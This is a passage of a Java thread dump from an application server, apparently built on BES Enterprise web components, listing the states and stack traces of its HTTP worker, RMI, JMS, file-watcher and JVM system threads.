at [email protected]/java.security.AccessController.doPrivileged(AccessController.java:399)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-6" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-4" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI Scheduler(0)" #97 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@331a8c54
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-3" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"File-watcher-0" #87 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.serializer.defence.common.file.watcher.FileAlterationMonitor.run(FileAlterationMonitor.java:105)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"AppServer-utility-1" #67 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2af69321
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
|
||||||
|
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-2" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-1" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-4" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI RenewClean-[172.17.0.4:6600]" #98 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@1f2fd2b
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||||
|
at [email protected]/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:559)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"File-watcher-0" #62 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.common.file.watcher.FileAlterationMonitor.run(FileAlterationMonitor.java:105)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Notification Thread" #15 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
|
||||||
|
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2fca3749
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||||
|
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
|
||||||
|
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-4" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"SelectorReaderThread-1900-1" #81 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:877)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"HSQLDB Timer @560df6c4" #90 daemon [TIMED_WAITING] on org.hsqldb.lib.HsqlTimer$TaskQueue@474b65e0
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at org.hsqldb.lib.HsqlTimer$TaskQueue.park(Unknown Source)
|
||||||
|
at org.hsqldb.lib.HsqlTimer.nextTask(Unknown Source)
|
||||||
|
at org.hsqldb.lib.HsqlTimer$TaskRunner.run(Unknown Source)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-5" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI TCP Connection(2)-172.17.0.4" #99 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.poll(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
|
||||||
|
at [email protected]/java.net.Socket$SocketInputStream.read(Socket.java:966)
|
||||||
|
at [email protected]/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
|
||||||
|
at [email protected]/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
|
||||||
|
at [email protected]/java.io.FilterInputStream.read(FilterInputStream.java:82)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$585/0x00007405f05ff4b0.run(Unknown Source)
|
||||||
|
at [email protected]/java.security.AccessController.executePrivileged(AccessController.java:776)
|
||||||
|
at [email protected]/java.security.AccessController.doPrivileged(AccessController.java:399)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-1900-Acceptor" #82 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
|
||||||
|
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:608)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:88)
|
||||||
|
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RetryTimer" #61 daemon [WAITING] on java.util.TaskQueue@20543971
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/java.lang.Object.wait(Object.java:338)
|
||||||
|
at [email protected]/java.util.TimerThread.mainLoop(Timer.java:537)
|
||||||
|
at [email protected]/java.util.TimerThread.run(Timer.java:516)
|
||||||
|
|
||||||
|
"SelectorReaderThread-8080-1" #83 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||||
|
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:877)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-8080-Acceptor" #84 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||||
|
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
|
||||||
|
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:608)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:88)
|
||||||
|
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-3" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"RMI GC Daemon" #95 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@365983f5
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at [email protected]/java.lang.Object.wait(Native Method)
|
||||||
|
at [email protected]/sun.rmi.transport.GC$Daemon.run(GC.java:127)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-7" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||||
|
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||||
|
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||||
|
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||||
|
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||||
|
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
|
||||||
|
